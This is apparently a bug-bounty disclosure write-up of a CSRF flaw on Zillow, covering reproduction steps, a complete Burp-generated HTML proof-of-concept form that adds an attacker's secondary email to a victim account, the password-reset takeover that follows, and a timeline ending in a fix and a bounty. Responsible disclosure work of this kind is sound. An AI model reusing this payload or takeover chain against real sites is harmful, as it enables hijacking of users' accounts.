Zillow -- Full Account Takeover on Zillow by Adding secondary email via CSRF Attack

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 Company Information : 



Zillow Group, Inc., or simply Zillow, is an American tech real-estate marketplace company that was founded in 2006[3] by Rich Barton, Zillow's current CEO,[4] and Lloyd Frink, former Microsoft executives and founders of Microsoft spin-off Expedia; Spencer Rascoff, a co-founder of Hotwire.com; David Beitel, Zillow's current chief technology officer; and Kristin Acker, Zillow's current technology leadership advisor.


Bug Category and reference links :

Cross Site request forgery(CSRF) : 

CSRF takes advantage the fact that most web apps allow attackers to predict all the details of a particular action.Because browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones.

Detection of CSRF flaws is fairly easy via penetration testing or code analysis.

link :

https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)



Target  Information : 

https://www.zillow.com



Technical Details of the Bug : 

If you have a agent account then you can add secondary email into your account. Adding Secondary email request is vulnerable to CSRF attack.

One Attacker adds his email to victim account , He can request a new password and take over the account.


Steps To Reproduce:

1.Create a new victim account . 2.Run the above mentioned HTML POC by changing the emailTextField and emailConfTextField to attacker email ID. 3.You will notice that email will be added into victim account. 4.Now you can request a password from this secondary email and create new password. 5.Once you create a new password , you can login to the account with successful account takeover.
CSRF POC : 
<html> 2 <!-- CSRF PoC - generated by Burp Suite Professional --> 3 <body> 4 <script>history.pushState('', '', '/')</script> 5 <form action="https://www.zillow.com/myzillow/SecondaryEmail,secondaryEmail.sdirect"> 6 <input type="hidden" name="formids" value="emailTextField&#44;emailConfTextField&#44;confirm&#44;cancel" /> 7 <input type="hidden" name="form&#58;myzillow&#47;SecondaryEmail" value="ZH4sIAAAAAAAAAFvzloG1PJ6BgYGNkcFZJSAxPTW8KLGgILVIT6U0UyUkv8AvsczIwNBELzkxLz8vMzkxxyczL7s4OLWoLDM5VS8rPzPPJbMoNbkkv6gSJMMgDNRbnFlckpoCMsyvNDcptaigPJRKpvPCTQ&#95;OLyopKE9lZAjGZ25iSm5mHpDjVJqZkwKUJteeXEaGUHz2FBTlp2XmpJJhE&#95;bwSqeZfeg&#45;y6ZRCGL1FwAIUh9MbgIAAA&#126;&#126;" /> 8 <input type="hidden" name="reservedids" value="form&#58;myzillow&#47;SecondaryEmail" /> 9 <input type="hidden" name="submitmode" value="submit" /> 10 <input type="hidden" name="submitname" value="" /> 11 <input type="hidden" name="emailTextField" value="testing&#64;gmail&#46;com" /> 12 <input type="hidden" name="emailConfTextField" value="testing&#64;gmail&#46;com" /> 13 <input type="hidden" name="myzillow&#47;SecondaryEmail&#47;secondaryEmail&#95;confirm&#95;submitflag" value="1" /> 14 <input type="hidden" name="confirm" value="" /> 15 <input type="hidden" name="myzillow&#47;SecondaryEmail&#47;secondaryEmail&#95;cancel&#95;submitflag" value="0" /> 16 <input type="submit" value="Submit request" /> 17 </form> 18 </body> 19</html>





Impact : 

Account Takeover of any Agent/Rental Manager Account by adding New email(CSRF)


Timeline : 

August 28th 2019: Report send to Zillow product Security Team through Hackerone.

August 29th 2019: Report Accepted and Triaged.

November 13th 2019: Complete issue was resolved and confirmed.

November 13th 2019: 2250$ Bounty Rewarded

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